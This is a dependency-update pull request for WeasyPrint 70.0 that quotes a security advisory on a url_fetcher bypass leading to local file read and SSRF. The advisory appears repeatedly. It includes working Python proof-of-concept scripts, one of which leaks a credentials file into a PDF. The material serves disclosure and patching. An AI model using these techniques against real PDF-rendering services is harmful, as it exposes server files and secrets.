chore(deps): update dependency weasyprint to v70 [security] #16

Merged
kfickel merged 1 commit from renovate/pypi-weasyprint-vulnerability into main 2026-09-14 20:15:29 +02:00
Collaborator

This PR contains the following updates:

Package Change Age Confidence
weasyprint (changelog) 69.070.0 age confidence

weasyprint Has Server-Side Request Forgery (SSRF)

CVE-2026-55073 / GHSA-jf6q-chmf-3h3v / PYSEC-2026-3940

More information

Details

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)

##### -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))

##### -> True

##### Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;

##### WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
##### gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))

##### -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))

##### -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))

##### -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False
Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Severity

  • CVSS Score: 6.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


weasyprint Has Server-Side Request Forgery (SSRF)

CVE-2026-55073 / GHSA-jf6q-chmf-3h3v / PYSEC-2026-3940

More information

Details

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)

##### -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))

##### -> True

##### Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;

##### WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
##### gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))

##### -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))

##### -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))

##### -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False
Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Severity

  • CVSS Score: 6.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

Kozea/WeasyPrint (weasyprint)

v70.0

Compare Source

Read about this release on our blog.

This is a security update (CVE-2026-55073, GHSA-r543-q48m-4c9j).

We strongly recommend to upgrade WeasyPrint to the latest version if you: * embed untrusted images, or * rely on the URL fetcher to filter metadata or stylesheets passed as Python parameters.

Security

  • Don’t render EPS images.
  • Always use original URL fetcher when available.

Features

Bug fixes

Performance

  • #​2813: Share computed styles between elements
  • #​2886: Add deprecation warnings when using fontTools for subsetting
  • #​2526, #​2776: Use stroked dashes for uniform dotted and dashed borders
  • #​2913: Increase SVG paths parsing speed

Documentation

Contributors

  • Guillaume Ayoub
  • Lucie Anglade
  • Daniel Fitzpatrick
  • Matthijs van Herwijnen
  • 김준혁
  • Giovanni Giordano
  • Jurriaan Pruis
  • Richard Fritsch
  • Vincent Gao
  • jellologic
  • Anis Hammouche
  • Apoorv Darshan
  • Daniel Isenmann
  • David Murray
  • Jakub Holotík
  • Jonathan Olsson
  • Matthijs van Herwijnen
  • Max

Backers and sponsors

  • Spacinov
  • Syslifters
  • Kobalt
  • TrainingSparkle
  • Prothesis Dental Solutions
  • Menutech
  • PDFBolt
  • KontextWork
  • Simonsoft
  • Hammerbacher
  • FieldHub
  • Method B
  • Healthchecks.io
  • Grip Angebotssoftware
  • Xavid
  • Morntag
  • Yanal-Yves Fargialla
  • Charlie S.
  • Kai DeLorenzo

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [weasyprint](https://github.com/Kozea/WeasyPrint) ([changelog](https://github.com/Kozea/WeasyPrint/releases)) | `69.0` → `70.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/weasyprint/70.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/weasyprint/69.0/70.0?slim=true) | --- ### weasyprint Has Server-Side Request Forgery (SSRF) [CVE-2026-55073](https://nvd.nist.gov/vuln/detail/CVE-2026-55073) / [GHSA-jf6q-chmf-3h3v](https://github.com/advisories/GHSA-jf6q-chmf-3h3v) / PYSEC-2026-3940 <details> <summary>More information</summary> #### Details ##### Summary `url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input. Two `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for: - **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced. - **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph. Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS. ##### Affected versions All versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`. ##### Root cause `select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`): ```python def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...): ... if url_fetcher is None: url_fetcher = URLFetcher() ``` Five of the seven resource-loading sites thread the document's fetcher correctly: - `<link rel=stylesheet>` in `weasyprint/css/__init__.py` - `<style>` in `weasyprint/css/__init__.py` - `@import` in `weasyprint/css/__init__.py` - `@font-face` / `local()` in `weasyprint/text/fonts.py` - `@color-profile src` in `weasyprint/css/__init__.py` - images (`<img>`, CSS `url()`, SVG) in `weasyprint/images.py` Two do **not** — they build a fresh default fetcher instead: - `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py` - `write_pdf(stylesheets=[str])` in `weasyprint/document.py` **`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured: ```python if options['xmp_metadata']: for url in options['xmp_metadata']: result = select_source(url) # no url_fetcher ``` **`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`: ```python for css in options['stylesheets'] or []: if not hasattr(css, 'matcher'): css = CSS( # no url_fetcher=html.url_fetcher guess=css, media_type=html.media_type, font_config=font_config, counter_style=counter_style, color_profiles=color_profiles) ``` Because `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive. ##### Reproduction Each script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed. ##### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'secret.xmp') open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c') pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf( xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True) print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf) ##### -> True ``` (`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.) ##### 2 - `stylesheets=` applies a blocked `file://` sheet (with control) ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'evil.css') open(path, 'w').write('@page { size: 1234px 5678px }') doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path]) p = doc.pages[0] print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678)) ##### -> True ##### Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it; ##### WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the ##### gap is specific to stylesheets= and not a misconfigured fetcher. ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path, url_fetcher=Block()).render() cp = ctrl.pages[0] print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678)) ##### -> True ``` ##### 3 - the `stylesheets=` bypass is transitive ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() inner = os.path.join(d, 'inner.css') outer = os.path.join(d, 'outer.css') open(inner, 'w').write('@page { size: 333px 777px }') open(outer, 'w').write('@import url("file://%s");' % inner) doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer]) p = doc.pages[0] print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777)) ##### -> True ``` ##### 4 - `xmp_metadata=` discloses a credentials file in full ```python import os, json, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2', 'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'} d = tempfile.mkdtemp() path = os.path.join(d, 'site_config.json') json.dump(creds, open(path, 'w')) pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf( xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True) print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values())) ##### -> True ``` An attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF. ##### 5 - scope of the `stylesheets=` channel (honest bound) The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own. ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'secrets.css') open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }') html = HTML(string='<p>x</p>', url_fetcher=Block()) doc = html.render(stylesheets=['file://' + path]) pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True) p = doc.pages[0] print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False ``` ##### Suggested fix Route both call sites through the document's `url_fetcher`, matching the five sites that already do this. - **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.) - **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's fetcher. #### Severity - CVSS Score: 6.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v](https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v) - [https://github.com/Kozea/WeasyPrint](https://github.com/Kozea/WeasyPrint) - [https://github.com/Kozea/WeasyPrint/releases/tag/v70.0](https://github.com/Kozea/WeasyPrint/releases/tag/v70.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jf6q-chmf-3h3v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### weasyprint Has Server-Side Request Forgery (SSRF) [CVE-2026-55073](https://nvd.nist.gov/vuln/detail/CVE-2026-55073) / [GHSA-jf6q-chmf-3h3v](https://github.com/advisories/GHSA-jf6q-chmf-3h3v) / PYSEC-2026-3940 <details> <summary>More information</summary> #### Details ##### Summary `url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input. Two `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for: - **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced. - **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph. Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS. ##### Affected versions All versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`. ##### Root cause `select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`): ```python def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...): ... if url_fetcher is None: url_fetcher = URLFetcher() ``` Five of the seven resource-loading sites thread the document's fetcher correctly: - `<link rel=stylesheet>` in `weasyprint/css/__init__.py` - `<style>` in `weasyprint/css/__init__.py` - `@import` in `weasyprint/css/__init__.py` - `@font-face` / `local()` in `weasyprint/text/fonts.py` - `@color-profile src` in `weasyprint/css/__init__.py` - images (`<img>`, CSS `url()`, SVG) in `weasyprint/images.py` Two do **not** — they build a fresh default fetcher instead: - `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py` - `write_pdf(stylesheets=[str])` in `weasyprint/document.py` **`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured: ```python if options['xmp_metadata']: for url in options['xmp_metadata']: result = select_source(url) # no url_fetcher ``` **`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`: ```python for css in options['stylesheets'] or []: if not hasattr(css, 'matcher'): css = CSS( # no url_fetcher=html.url_fetcher guess=css, media_type=html.media_type, font_config=font_config, counter_style=counter_style, color_profiles=color_profiles) ``` Because `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive. ##### Reproduction Each script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed. ##### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'secret.xmp') open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c') pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf( xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True) print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf) ##### -> True ``` (`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.) ##### 2 - `stylesheets=` applies a blocked `file://` sheet (with control) ```python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers) d = tempfile.mkdtemp() path = os.path.join(d, 'evil.css') open(path, 'w').write('@page { size: 1234px 5678px }') doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path]) p = doc.pages[0] print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678)) ##### -> True ##### Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it; ##### WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the ##### gap is specific to stylesheets= and not a misconfigured fetcher. ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path, url_fetcher=Block()).render() cp = ctrl.pages[0] print('control <link> correctly 